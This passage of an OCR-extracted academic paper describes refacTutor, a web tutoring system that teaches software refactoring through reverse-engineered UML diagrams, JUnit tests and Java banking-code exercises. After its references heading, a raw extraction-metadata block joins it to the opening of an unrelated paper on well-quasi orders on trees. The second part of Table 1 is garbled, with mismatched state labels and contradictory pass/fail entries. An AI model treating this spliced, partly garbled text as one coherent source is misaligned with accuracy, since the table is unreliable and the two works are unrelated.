user’s actions in terms of feedback for both the instructor as well as the user. Basically, it is checked whether the as-is design conforms to the to-be design and whether the tests pass. The verification of the design quality can be performed manually by the instructor (by visually comparing the diagrams) or automatically by using analysis tools to check for differences between the diagrams; or applying additional quality-analysis tools (see below). Moreover, the time for completing the exercise can be measured. 3.3 Code Modifications and System States During exercise interaction, the system under analysis (SUA) can take different system states (see [ ] in Fig. 3). The states can be classified into the initial state ($S_{INITIAL}$), the final state(s) (i.e., $S_{FINAL(PASSING)}$ and $S_{FINAL(NON-PASSING)}$) and multiple transitional states ($S_{TRANSITIONAL}$). In particular, the initial state $S_{INITIAL}$ represents the system at the beginning (e.g. as prepared by the instructor). Each actual or possible modification to be performed on a certain state then leads to a certain following state ($S_{TRANSITIONAL}$). Depending on the kind of task and smell, there are different ways of achieving the defined exercise goal. As mentioned above, for more complex smells several options and sequences for achieving a desired design can exist, such as for some types of software-design smells (Suryanarayana et al., 2014). This way, the options and steps of possible modifications can be represented via a graph structure (i.e. modifications as edges, states as nodes). The performance of one user (via several refactoring steps starting from and/or leading to a $S_{TRANSITIONAL}$) then draws a concrete path through this graph. The final state can either be passing ($S_{FINAL(PASSING)}$) (i.e., fulfilling the quality standards, e.g., defined by to-be design diagrams, and passing the tests) or failing ($S_{FINAL(NON-PASSING)}$). For each state, several aspects are important for refactoring which are reflected by selected views (see below). 3.4 Views on System States Oriented to viewpoint models applied in software architecture such as (Kruchten, 1995), we apply a viewpoint model for refactoring that includes the follow- ing four views on system states, i.e., code, test behavior as well as design structure and behavior (see Figure 3). The views conform to the viewpoint model depicted in Fig. 5 and serve as feedback and decision support for the user on each system state. In particular, there is evidence that for identifying and assessing software design smells (such as Abstraction or Modularization smells), a combination of UML class diagrams (providing inter-class couplings evoked by method-call dependencies) and sequence diagrams (representing run-time scenarios) is appropriate (Haendler, 2018). The viewpoint model depicted in Fig. 5 reflects the views on system states. In addition to the source code (modified by the user), the other views are provided by applying the following tools and techniques. - **The test behavior** is specified (in terms of a test script) using a certain test framework (e.g., XUnit or scenario-based tests). By performing the tests after each (important) modification (regression testing) the functional correctness of the code is ensured. Feedback is returned to the user in terms of the test result. - For automatically deriving (a.k.a. reverse-engineering) the design diagrams representing the as-is software design of the source code, (automatic) static and dynamic analysis techniques are applied, see, e.g., (Richner and Ducasse, 1999) Kollmann et al., 2002 (Haendler et al., 2015). The Unified Modeling Language (UML) Object Management Group, 2015 is the de-facto standard for documenting software design. For representing design structure, UML class diagrams are extracted from source code; for design behavior, UML sequence diagrams are derived from execution traces. For further details on the derivation techniques and the resulting diagrams, see Section 3.3. - In addition, also software-quality analyzers (e.g., SonarQube (Campbell and Papapetrou, 2013)) can be used to identify quality issues (such as smells) as well as to measure and quantify the technical debt score, which both then can be presented as hints or feedback to the user. 4 APPLICATION SCENARIOS In order to illustrate the feasibility of the proposed tutoring-system approach for teaching and training software refactoring, two possible application scenarios are described. In Table 1 exemplary tasks with corresponding values of views and other exercise aspects are specified for two scenarios, i.e., (a) design refactoring and (b) test-driven development (TDD). Table 1: Exemplary exercise scenarios: (a) design refactoring and (b) test-driven development. <table> <thead> <tr> <th>Aspects and Views</th> <th>Design Refactoring</th> <th>Test-driven Development (TDD)</th> </tr> </thead> <tbody> <tr> <td>Task</td> <td>Refactor the given (smelly) source code in order to achieve the defined-to-be design</td> <td>Implement the given to-be design in code so that also the given tests pass</td> </tr> <tr> <td>Target Competence</td> <td>Analyze software design and plan &amp; perform refactoring steps for removing a given smell</td> <td>Apply the red-green-refactor steps (to realize the defined-to-be design and test behavior)</td> </tr> <tr> <td>Prerequisite Competence</td> <td>Knowledge on refactoring options for given smell type as well as on notations and meaning of UML diagrams</td> <td>Knowledge on refactoring options for given smell type as well as on notations and meaning of UML diagrams</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Code</th> <th>Design Refactoring</th> <th>Test-driven Development (TDD)</th> </tr> </thead> <tbody> <tr> <td>$S_{\text{INITIAL}}^{\text{FROM}}$</td> <td>Code with design smells</td> <td>No code given</td> </tr> <tr> <td>$S_{\text{PASSING}}^{\text{FROM}}$</td> <td>Representing design smells</td> <td>No as-is design available</td> </tr> <tr> <td>$S_{\text{PASSING}}^{\text{TO}}$</td> <td>Conforming to to-be design</td> <td>Conforming to to-be design</td> </tr> <tr> <td>$S_{\text{FINAL}}^{\text{TO}}$</td> <td>Tests pass in $(S_{\text{INITIAL}}^{\text{TO}})$ and in $(S_{\text{INITIAL}}^{\text{FROM}})$ but fail in $(S_{\text{INITIAL}}^{\text{TO}})$</td> <td>Tests fail in $(S_{\text{INITIAL}}^{\text{TO}})$ but pass in $(S_{\text{INITIAL}}^{\text{FROM}})$</td> </tr> <tr> <td>$S_{\text{AS-IS}}^{\text{AS-IS}}$</td> <td>As-is and to-be design are identical and all tests pass</td> <td>As-is and to-be design are identical and all tests pass</td> </tr> </tbody> </table> 4.1 Design Refactoring First, consider the instructor aims at fostering the practical competences of analyzing the software design and performing refactoring steps (i.e., application and analysis, see target competences in Table 1). In this case, a possible training scenario can be realized by presenting a piece of source code that behaves as intended (i.e., runtime tests pass), but with smelly design structure (i.e., as-is design and to-be design are different). The user’s task then is to refactor the given code in order to realize the specified targeted design. As important prerequisite, the user needs to bring along the competences to already (theoretically) know the rules for refactoring and to analyze UML diagrams. Fig. 6 depicts the values of different system states while performing the exercise (also see Section 3.3 and 3.4). At the beginning $(S_{\text{INITIAL}}^{\text{AS-IS}})$, the tests... pass, but code and design are smelly by containing, e.g., a MULTIFACETEDABSTRACTION smell (Suryanarayana et al., 2014). During the (path of) refactoring (e.g., by applying corresponding EXTRACT-CLASS and/or MOVEMETHOD / MOVEFIELD refactorings (Fowler et al., 1999)), the values of the views can differ (box in the middle). Characteristic for a non-passing final state or the transitional states is that at least one view (e.g., test, design structure or behavior) does not meet the requirements. In turn, a passing final state fulfills the requirements for all view values (box on the right-hand side). Besides these two exemplary scenarios, multiple other scenarios can be specified by varying the values of the exercise aspects and views (see Table 1). ## 5 SOFTWARE PROTOTYPE In order to demonstrate the technical feasibility, we introduce our software prototype refacTutor [2] that realizes key aspects of the infrastructure presented in Fig. 2. In the following, we focus on applied technologies, the derivation of UML class diagrams reflecting the as-is design, the graphical user interface (GUI), and a concrete exercise example. ### 5.1 Applied Technologies We implemented a software prototype as a web-based application using Java Enterprise Edition (EE) to demonstrate the feasibility of the proposed concept. Java is also the supported language for the refactoring exercises. As editor for code modification the ace editor [Ajax.org, 2019] has been integrated, which is a flexible browser-based code editor written in JavaScript. After test run, the entered code is then passed to the server for further processing. For compiling the Java code, we applied InMemoryJavaCompiler (Trung, 2017), a GitHub repository that provides a sample of utility classes allowing compilation of Java sources in memory. The compiled classes are then analyzed using Java Reflection (Forman and Forman, 2004) in order to extract information on code structure. The correct behavior is verified via JUnit tests (Gamma et al., 1999). Relevant exercise information is stored in XML files including task description, source code, test script, and information for UML diagrams (see below). ### 5.2 Design-Diagram Derivation For automatically creating the as-is design diagrams, the extracted information is transferred to an integrated diagram editor. PlantUML (Roques, 2017) is an open-source and Java-based UML diagram editor that allows for passing plain text in terms of a simple DSL for creating graphical UML diagrams (such as class and sequence diagrams), i.e. in PNG or SVG format. PlantUML also manages the efficient and aesthetic composition of diagram elements. Fig. 8 depicts an application example of source code to be refactored (left-hand side, Listing 1) with --- Listing 1: Exemplary Java code. ```java public class BankAccount { private Integer number; private Double balance; private Limit limit; // (1) public BankAccount ( Integer number , Double balance ) { this . number = number ; this . balance = balance ; } [...] public class CheckingAccount extends BankAccount { // (2) [...] public class Limit { [...] } public class Transaction { public Boolean transfer ( Integer senderNumber , Integer receiverNumber , Double amount ) { BankAccount sender = new BankAccount (123456); // (3) BankAccount receiver = new BankAccount (234567); if (sender . getBalance () >= amount ) { receiver . increase ( amount ); sender . decrease ( amount ); return true; } else { return false; } } } } ``` Figure 8: Listing with exemplary Java code fragment for a refactoring task (left-hand side) and UML class diagram (right-hand side) representing the as-is design automatically derived from source code and visualized using PlantUML. as-is design diagram (reflecting the current state of code) in terms of a UML class diagrams (right-hand side). In particular, the (derived) class diagrams provide associations in terms of references to other classes. For example, see ① in the diagram and line 4 in the listing in Fig. 8. Generalizations represent is-a relationships (between sub-classes and super-classes); see ② in the diagram and line 11 in the listing. Moreover, the derived class diagrams also provide call (or usage) dependencies between classes (see ③), which, e.g., represent inter-class calls of attributes or methods from within a method (see lines 19 and 20 in the listing in Fig. 8). For deriving UML sequence diagrams, we apply dynamic reverse-engineering techniques based on the execution traces triggered by the runtime tests, already described and demonstrated in (Haendler et al., 2015) and (Haendler et al., 2017). As explained in Section 3.4, a combination of UML class and sequence diagrams can support in identifying and assessing issues in software design or architecture (Haendler, 2018). 5.3 GUI As outlined in the overview depicted in Fig. 2, the prototype provides GUI perspectives for instructors configuring and preparing exercises and for users performing the exercises. Each role has a specific browser-based dashboard with multiple views (a.k.a. widgets) on different artifacts (as described in Fig. 2). Fig. 9 depicts the user’s perspective with provided views and an exercise example (which is detailed in Section 5.4). In particular, the user’s perspective comprises a view on the task description (as defined by the instructor; see ① in Fig. 9). In (2), the tests scripts of the (tabbed) JUnit test cases are presented. The console output in ③ reports on the test result and additional hints. The code editor (see ④ in 9) provides the source code to be modified by the user (with tabs for multiple source files). Via the button in ⑤, the user can trigger the execution of the runtime tests. For both the to-be design (defined by the instructor beforehand; see ⑥) and the actual as-is design (automatically derived after and while test execution and reflecting the state of the source code; see ⑦), also tabs for class and sequence diagrams are provided. The teacher’s perspective is quite similar; in addition, it provides an editor for specifying the to-be diagrams. 5.4 Exercise Example In the following, a short exercise example applying refacTutor is illustrated in detail. In particular, the source code, runtime tests, the task to be performed by the user and the corresponding as-is and to-be design diagrams are presented. Source Code For this exemplary exercise, the following Java code fragment (containing basic classes and functionality for a simple banking application) has been prepared by the instructor (see Listing 2 and also the editor ④ in Fig. 9). **Tests** In this example, four JUnit test cases have been specified by the instructor (see Listing 3) and also 2 and the views 3 in Fig. 9. Two out of these cases fail at the beginning (S\textsubscript{INITIAL}). **Task** For the exercises, the user is confronted with the task presented in Listing 5 (also see 1 in Fig. 9). Listing 2: Java source code. ```java 1 public class BankAccount { 2 private Integer number; 3 private Double balance; 4 private Limit limit; 5 public BankAccount(Integer number, Double balance) { 6 this.number = number; 7 this.balance = balance; 8 } 9 public Integer getNumber() { 10 return this.number; 11 } 12 public Double getBalance() { 13 return this.balance; 14 } 15 public void increase(Double amount) { 16 this.balance += amount; 17 } 18 public void decrease(Double amount) { 19 this.balance -= amount; 20 } 21 } 22 23 public class Limit { 24 private Double amount; 25 public Double getAmount() { 26 return this.amount; 27 } 28 } 29 30 public class Transaction { 31 public Boolean transfer(Integer senderNumber, Integer receiverNumber, Double amount) { 32 BankAccount sender = new BankAccount(123456, 2000.00); 33 BankAccount receiver = new BankAccount(234567, 150.00); 34 if(sender.getBalance() >= amount){ 35 receiver.increase(amount); 36 sender.decrease(amount); 37 return true; 38 } else{return false;} 39 } 40 } ``` Listing 3: Test result. ``` 5 test cases were executed (0.264 s) Test case 1 "transfer_default" failed. Test case 2 "transfer_limitExceeded" failed. Test case 3 "checkBalance_default" passed. Test case 4 "accountConstructor_default" passed. ``` One of these failing cases is transfer\_default, which is specified in the script in Listing 4. Listing 4: Test case 1 transfer\_default. ``` 1 @test 2 public void transfer_default () { 3 BankAccount accountS = new BankAccount(00234573201 , 4 2000.00) ; 5 BankAccount accountR = new BankAccount (00173948725 , 6 1500.00) ; 7 Transaction trans = new Transaction (accountS , accountR ) ; 8 assertTrue (trans. transfer (300.00) ) ; 9 assertEquals ( accountS . getBalance () ,1700); 10 assertEquals ( accountR . getBalance () ,1800); 11 } ``` Listing 5: Task description. ``` 1 Modify the given code example so that all tests pass and the given design (as-is) matches the targeted design (to-be). 2 In particular, this includes the following modifications: 3 (1) Modify class "Transaction" according to the following aspects 4 (a) Add attributes "sender" and "receiver" both typed by class "BankAccount" to class "Transaction". 5 (b) Add a parametrized constructor with parameters "sender" and "receiver". 6 (c) Modify method transfer to only comprise one parameter ("amount" of type Double). 7 (2) Add a class "CheckingAccount", which should be a subclass of "BankAccount". ``` Design Diagrams In the course of the exercise (after each code modification), the user can review the diagrams reflecting the actual design derived from code and compare them with the targeted design diagrams (see Fig.10, also see 6 and 7 in Fig. 5). ![Design Diagrams](image) Figure 10: Contrasting as-is (automatically derived from source code; left-hand side) and to-be software design (targeted design specified by the instructor; right-hand side) both represented as UML class diagrams. 6 RELATED WORK Related work can be roughly divided into the following two groups: (1) interactive tutoring systems for programming, especially those leveraging program visualization (in terms of UML diagrams) and (2) approaches for teaching refactoring, especially with focus on software design. 6.1 Tutoring Systems for Programming Interactive learning environments in terms of editor-based web-applications such as Codecademy (Sims and Bubinski, 2018) are popular nowadays for learning programming. These tutoring systems provide learning paths for accomplishing practical competences in selected programming aspects. They motivate learners via rewards and document the achieved learning progress. Only very few tutoring systems can be identified that address software refactoring; see, e.g., (Sandalski et al., 2011). In particular, Sandalski et al. present an analysis assistant that provides intelligent decision-support and feedback very similar to a refactoring recommendation system, see, e.g., (Tsamalis et al., 2008). It identifies and highlights simple code-smell candidates. After the user’s code modification, it reacts by proposing (better) refactoring options. Related are also tutoring environments that present interactive feedback in terms of code and design visualization; for an overview, see, e.g., (Sorva et al., 2013). Only a few of these approaches provide the reverse-engineering of UML diagrams, such as JAVAVIS (Oechsle and Schmitt, 2002) or BlueJ (Kölling et al., 2003). However, existing approaches do not target refactoring exercises. For instance, they not allow for comparing the actual design (as-is) and the targeted design (to-be), e.g., as defined by the instructor, especially not in terms of UML class diagrams. Moreover, tutoring systems barely provide integrated software-behavior evaluation in terms of regression tests (pre-specified by the instructor). We complement these approaches by presenting an approach that integrates interactive feedback on code modifications in terms of software-design quality and software behavior. 6.2 Approaches for Teaching Refactoring Besides tutoring systems (discussed above) other kinds of teaching refactoring are related to our approach. In addition to tutoring systems based on instructional learning design, a few other learning approaches in terms of editor-based refactoring games can be identified that also integrate automated feedback. In contrast to tutoring systems which normally apply small examples, serious games such as (Elezi et al., 2016; Haendler and Neumann, 2019) are based on real-world code base. These approaches also include means for rewarding successful refactorings by increasing the game score (or reducing the technical-debt score) and partially provide competitive and/or collaborative game variants. However, so far these games do not include visual feedback that is particularly important for the training of design-related refactoring. Moreover other approaches without integrated automated feedback are established. For instance, Smith et al. propose an incremental approach for teaching different refactoring types on college level in terms of learning lessons (Smith et al., 2006; Stoecklin et al., 2007). The tasks are also designed in an instructional way with exemplary solutions that have to be transferred to the current synthetic refactoring candidate (i.e. code smell). Within this, they provide an exemplary learning path for refactorings. Furthermore, Abid et al. conducted an experiment for contrasting two students groups, of which one performed pre-enhancement (refactoring first, then code extension) and the second post-enhancement (code extension first, then refactoring) (Abid et al., 2015). Then they compared the quality of the resulting code. López et al. report on a study for teaching refactoring (López et al., 2014). They propose exemplary refactoring task categories and classify them according to Bloom’s taxonomy and learning types. They also describe learning settings, which aim at simulating real-world conditions by providing, e.g., an IDE and revision control systems. In addition to these teaching and training approaches, we present a tutoring system that can be seen as a link in the learning path between lectures and lessons (that mediate basic knowledge on refactoring) on the one hand and environments such as serious games that already demand practical competences on the other. 7 DISCUSSION In this paper, a new approach has been presented for teaching and training practical competences in software refactoring. As shown above (Section 6), the tutoring system is considered as complement to other training environments and techniques, such as lectures for mediating basic understanding (before) and serious games (afterwards) for consolidating and extending the practical competences in direction of higher-level competences such as evaluating refactoring options and developing refactoring strategies. The provided decision support in terms of UML design diagrams (representing the as-is and to-be software design) especially addresses the refactoring quality issues on the level of software design and architecture, which are not directly visible by reviewing the source code alone; also see architectural debt (Kruchten et al., 2012). The feasibility of the proposed approach has been illustrated in two respects. On the one hand, in terms of the usability for training practical competences in software refactoring via two exemplary application scenarios, i.e. design refactoring and test-driven development, for which both the exercise workflows and other aspects have been described. On the other hand, by demonstrating the technical feasibility via a proof-of-concept implementation in Java that realizes the core functions. In this course, also a more detailed exercise example has been presented. As a next step, it is necessary to investigate the appropriateness of the approach in an actual training setting (empirical evaluation) and gather feedback from system users. From a didactic perspective, a challenge in creating a training unit is to put together a set of appropriate refactoring exercises consisting of code fragments that manifest as smells in corresponding UML diagrams. An orientation for this can be seen in rules and techniques for identifying and refactoring smells on the level of software design (Suryanarayana et al., 2014). In addition, in (Haendler, 2018) we explored how 14 kinds of software-design smells can be identified (and represented) in UML class and sequence diagrams. This catalog can serve as a systematic guideline for creating exercises targeted on different design smells. For applying the prototype in a training setting, also further technical extensions and refinements are planned; for example, by including views for assessment and progress management (e.g., gamification elements such as leaderboards or activity charts). 8 CONCLUSION In this paper, we presented a novel approach for teaching software refactoring, especially with focus software design issues, via an interactive development and learning environment that provides feedback to the user in terms of reverse-engineered UML diagrams, test behavior and an extensible array of quality aspects. The paper contributes to the state-of-the-art via the following aspects; by: - presenting a training environment that supports users, e.g., university students or (more) experienced software developers, in accomplishing practical competences for software refactoring. - illustrating exemplary application scenarios that show the feasibility of the approach for training practical competences in refactoring and test-driven development. - providing a web-based software-technical implementation in Java (refacTutor) as proof-of-concept that demonstrates the technical feasibility of the proposed approach. Here also a short exercise example is illustrated in detail. - specifying a generic concept and a lightweight architecture that integrates already existing analysis tools such as test frameworks, diagram editors (and quality analyzers), which allows one to implement the tutoring system for other programming languages as well. As already discussed in Section 7, in the next step an empirical evaluation of the prototype implementation will be done. For this purpose, it is planned to integrate a training unit on refactoring for design smells into a university course on software design and modeling. The key questions here are how the training via the tutoring system is perceived by the users and to what extent it supports in acquiring practical refactoring competences. REFERENCES
{"Source-Url": "http://nm.wu-wien.ac.at/research/publications/b1104.pdf", "len_cl100k_base": 8452, "olmocr-version": "0.1.50", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 41030, "total-output-tokens": 11771, "length": "2e13", "weborganizer": {"__label__adult": 0.0006265640258789062, "__label__art_design": 0.0007414817810058594, "__label__crime_law": 0.0005164146423339844, "__label__education_jobs": 0.0192718505859375, "__label__entertainment": 0.00010371208190917967, "__label__fashion_beauty": 0.0003025531768798828, "__label__finance_business": 0.0003383159637451172, "__label__food_dining": 0.0006279945373535156, "__label__games": 0.0010166168212890625, "__label__hardware": 0.0007328987121582031, "__label__health": 0.0006246566772460938, "__label__history": 0.0003311634063720703, "__label__home_hobbies": 0.0001678466796875, "__label__industrial": 0.0005016326904296875, "__label__literature": 0.00046896934509277344, "__label__politics": 0.0004303455352783203, "__label__religion": 0.000782012939453125, "__label__science_tech": 0.003660202026367187, "__label__social_life": 0.00020968914031982425, "__label__software": 0.00513458251953125, "__label__software_dev": 0.96142578125, "__label__sports_fitness": 0.0005922317504882812, "__label__transportation": 0.0008044242858886719, "__label__travel": 0.00034618377685546875}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 47297, 0.05964]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 47297, 0.53264]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 47297, 0.86565]], "google_gemma-3-12b-it_contains_pii": [[0, 4209, false], [4209, 7843, null], [7843, 11887, null], [11887, 15105, null], [15105, 20203, null], [20203, 23074, null], [23074, 27130, null], [27130, 30127, null], [30127, 34355, null], [34355, 39287, null], [39287, 44210, null], [44210, 47297, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4209, true], [4209, 7843, null], [7843, 11887, null], [11887, 15105, null], [15105, 20203, null], [20203, 23074, null], [23074, 27130, null], [27130, 30127, null], [30127, 34355, null], [34355, 39287, null], [39287, 44210, null], [44210, 47297, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 47297, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 47297, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 47297, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 47297, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 47297, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 47297, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 47297, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 47297, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 47297, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 47297, null]], "pdf_page_numbers": [[0, 4209, 1], [4209, 7843, 2], [7843, 11887, 3], [11887, 15105, 4], [15105, 20203, 5], [20203, 23074, 6], [23074, 27130, 7], [27130, 30127, 8], [30127, 34355, 9], [34355, 39287, 10], [39287, 44210, 11], [44210, 47297, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 47297, 0.04669]]}
olmocr_science_pdfs
2024-12-02
2024-12-02
8779eb2591990293b6e35099c770b9561063efe8
A comparison of well-quasi orders on trees Mogensen, Torben Ægidius Published in: Semantics, Abstract Interpretation, and Reasoning about Programs DOI: 10.4204/EPTCS.129.3 Publication date: 2013 Document version Publisher's PDF, also known as Version of record Document license: CC BY Citation for published version (APA): A Comparison of Well-Quasi Orders on Trees Torben Æ. Mogensen DIKU, University of Copenhagen torbenm@diku.dk Well-quasi orders such as homeomorphic embedding are commonly used to ensure termination of program analysis and program transformation, in particular supercompilation. We compare eight well-quasi orders on how discriminative they are and their computational complexity. The studied well-quasi orders comprise two very simple examples, two examples from literature on supercompilation and four new proposed by the author. We also discuss combining several well-quasi orders to get well-quasi orders of higher discriminative power. This adds 19 more well-quasi orders to the list. 1 Introduction A quasi order \((S, \leq)\) is a set \(S\) with a reflexive and transitive binary relation \(\leq\) on \(S \times S\). A well-quasi order \((S, \sqsubseteq)\) is a quasi order such that for any infinite sequence of elements \(s_0, s_1, \ldots\) where \(\forall i \in \mathbb{N} : s_i \in S\), there exists \(i, j \in \mathbb{N}\) such that \(i < j\) and \(s_i \sqsubseteq s_j\). We abbreviate “well-quasi order” to WQO. When the set \(S\) is clear from the context, we will sometimes refer to a WQO only by the relation \(\sqsubseteq\). Well-quasi orders are often used to ensure termination of program analyses and program transformations (such as partial evaluation and supercompilation). The idea is that when a sequence of values is produced, production of a new value \(s_j\) is seen as “safe” if there is no previous \(s_i\), \(i < j\) such that \(s_i \sqsubseteq s_j\). If a value is found so \(s_i \sqsubseteq s_j\), \(s_i\) is replaced by a combination of \(s_i\) and \(s_j\) in a process called widening or generalisation and the sequence is recomputed from this point in the hope that the sequence will be regular (i.e., that it can “loop back” to create a finite cycle). See [4][5] for a detailed discussion on the use of a particular well-quasi order called homeomorphic embedding for online termination control. Sequences of trees are often used in program transformation (and sometimes in program analysis), and since the set of trees over a finite signature is usually infinite, some form of widening or generalisation is required to ensure termination of such sequences. We can compare different well-quasi orders for the same set by discriminative power: A WQO \((S, \sqsubseteq_1)\) is more discriminative than a WQO \((S, \sqsubseteq_2)\) if \(\forall s_1, s_2 \in S : s_1 \sqsubseteq_1 s_2 \Rightarrow s_1 \sqsubseteq_2 s_2\), and it is strictly more discriminative if, additionally, \(\exists s_1, s_2 \in S : s_1 \not\sqsubseteq_1 s_2 \land s_1 \sqsubseteq_2 s_2\). A more discriminative WQO will allow longer sequences before generalisation or widening is applied, but (being a WQO) will still avoid infinite sequences. Since widening or generalisation imply loss of information, this can give more precise analysis and stronger program transformations. On the flip side, longer sequences before generalisation or widening is applied imply longer running time and higher memory use of the analysis or transformation, and transformed programs can also be larger, as fewer parts of the transformed program are merged. So there is a trade off involved. By presenting a range of WQOs with different discriminative power and computational cost, we hope to give researchers a basis for choosing WQOs that works well for their analyses or transformation systems. We will for simplicity of the presentation assume that all trees are built from a finite signature: A finite set of constructors with finite arities. It is, however, not hard to generalise to the trees where 2 Properties of well-quasi orders We will review a few properties of WQOs that we will use in this paper. Theorem 1 If $S$ is a finite set, $(S, =)$ is a WQO. Proof: Any infinite sequence of elements from a finite set will repeat elements. \qed Theorem 2 If $(S_2, \leq)$ is a WQO and $f$ is a total function from $S_1$ to $S_2$, then $(S_1, \leq^f)$ is a WQO, where $\leq^f$ is defined by $x \leq^f y$ iff $f(x) \leq f(y)$. Proof: If $s_0, s_1, \ldots$ is an infinite sequence of elements from $S_1$, then $f(s_0), f(s_1), \ldots$ is an infinite sequence of elements from $S_2$. Since $(S_2, \leq)$ is a WQO, there must be $i < j$ such that $f(s_i) \leq f(s_j)$ which is the definition of $s_i \leq^f s_j$. \qed Theorem 3 (Kruskal, 1960) If $T$ is a set of finite trees, $(T, \leq_H)$ is a WQO, where $s \leq_H t$ is defined by the rules: \begin{align*} c(s_1, \ldots, s_n) \leq_H c(t_1, \ldots, t_n) & \iff s_1 \leq_H t_1 \land \cdots \land s_n \leq_H t_n \\ s \leq_H c(t_1, \ldots, t_n) & \iff \exists 1 \leq i \leq n : s \leq_H t_i \\ s \not\leq_H t & , \text{ otherwise} \end{align*} Basically, $s \leq_H t$ if $s$ can be obtained from $t$ by repeatedly replacing a subtree $x$ of $t$ by one of the subtrees of $x$. This ordering is called homeomorphic embedding. Proof: The proof that $(T, \leq_H)$ is a well-quasi order can be found in [3]. Theorem 4 If $Q = S^*$ is the set of finite sequences over a finite set $S$, then $(Q, \ll)$, where $\ll$ is the subsequence relation, is a WQO. Proof: We map $Q$ to a set of trees $T$ using the mapping $q$: \begin{align*} q(\varepsilon) & = \text{ a leaf node labeled } \varepsilon \\ q(aw) & = \text{ a node labeled } a \text{ with a single child } q(w) \end{align*} We note that $w_1 \ll w_2$ iff $q(w_1) \leq_H q(w_2)$, so by Theorems 3 and 2 $(Q, \ll) = (Q, \leq_H^w)$ is a WQO. \qed Theorem 5 If $B$ is the set of bags (multisets) over a finite set $S$, then $(B, \subseteq)$, where $\subseteq$ is the subset relation on multisets, is a WQO. Proof: We map multisets to sequences by sorting the elements based on any total ordering of $S$. We then note that $b_1 \subseteq b_2$ iff $\text{sort}(b_1) \ll \text{sort}(b_2)$, so by Theorems 4 and 2 $(B, \subseteq) = (B, \ll_{\text{sort}})$ is a WQO. An alternative proof uses that $(B, \subseteq)$ is a multiset extension [9] of $(S, =)$. \qed Theorem 6 If $\leq$ is a well-quasi order, then any infinite sequence $s_0, s_1, \ldots$ contains an infinite increasing subsequence $s_{i_0} \leq s_{i_1} \leq \ldots$ Proof: Assume that the set \( M = \{ i \mid \exists k > i : s_i \preceq s_k \} \) is infinite. As \( \preceq \) is a well-quasi order, there must be \( i, j \in M \) such that \( i < j \) and \( s_i \preceq s_j \). But this contradicts the definition of \( M \). Hence, \( M \) is finite and has a maximal element \( m \). Now assume that the longest increasing subsequence starting from \( i_{m+1} \) is finite. If so, it has a maximal element \( p \), such that there are no \( q > p : s_p \preceq s_q \). But that would make \( p \in M \), which, because \( p > m \), contradicts the fact that \( m \) is maximal in \( M \). Hence, we have an infinite increasing subsequence starting from \( i_{m+1} \). \( \Box \) **Theorem 7** Given two WQOs \((S, \preceq_1)\) and \((S, \preceq_2)\), then \((S, \preceq_1 \cap \preceq_2)\) defined by \( x(\preceq_1 \cap \preceq_2)y \iff x \preceq_1 y \land x \preceq_2 y \) is a WQO. Proof: Any infinite sequence \( s_0, s_1, \ldots \) will due to Theorem 6 have an infinite increasing subsequence \( s_{i_0} \preceq_1 s_{i_1} \preceq_1 \ldots \), which (because \( \preceq_2 \) is a WQO) will have a pair \( s_{i_j} \preceq_2 s_{i_k} \), where \( j < k \). It follows that \( s_{i_j} (\preceq_1 \cap \preceq_2) s_{i_k} \). \( \Box \) ### 3 A selection of well-quasi orders on trees In the following, we will describe six WQOs on trees with finite signatures. We divide these WQOs into groups based on whether they are defined directly on the trees or by mapping trees to another WQO using Theorem 2. We use \( T \) to denote an otherwise unspecified set of trees over a finite signature \( \Sigma \). We will also use \( \Sigma \) to denote the set (alphabet) of constructor symbols in \( \Sigma \). The context should make it clear which meaning is used. #### 3.1 Well-quasi orders defined directly on trees \( \preceq_S \): A simple WQO for trees is based on comparison of size: For any two trees \( t_1, t_2 \), we define \( t_1 \preceq_S t_2 \iff t_1 = t_2 \) or \( |t_1| < |t_2| \), where \(|t|\) is the size of the tree \( t \). It is clear that an infinite sequence of trees must either repeat specific trees or increase the size of trees: There are only finitely many different trees of a given size. Hence, \((T, \preceq_S)\) is a WQO. \( \preceq_H \): A WQO that is often used for controlling termination of program transformation is homeomorphic embedding \((T, \preceq_H)\) as defined as in Theorem 3. Homeomorphic embedding has been used for termination proofs for term-rewriting systems [2]. Using homeomorphic embedding to control termination of supercompilation was first proposed in [8]. #### 3.2 Well-quasi orders defined by mapping to sets \( \preceq_Z \): If \( \Sigma \) is a finite set, Theorem 1 gives that \((\Sigma, =)\) is a WQO. Since \( T \) uses a finite signature \( \Sigma \), \((2^\Sigma, =)\) is a WQO, where \( 2^\Sigma \) is the set of subsets of \( \Sigma \). We define \((T, \preceq_Z)\) by the function \( f \) from \( T \) to \( 2^\Sigma \) that maps a tree \( t \) to the set of constructors used in \( t \), so \( s \preceq_Z t \iff s \) and \( t \) use the same set of constructors. Since \((2^\Sigma, =)\) is a WQO, \((T, \preceq_Z) = (T, =^f)\) is by Theorem 2 also a WQO. \( \preceq_Y \): We propose a variant of \( \preceq_Z \) by mapping a tree to a set of constructors using a different mapping: \( w \) maps a tree \( t \) to the set of constructors used at least twice in \( t \). By the same reasoning as above, \((T, \preceq_Y) = (T, =^w)\) is WQO. Obviously, this can be generalised to sets of constructors that are used at least 3, 4 or more times. \( \preceq_Y \) is appropriate for supercompilation and related transformations, as an infinite sequence of trees usually copies some part of an earlier initial tree in more and more copies. Such copying will, 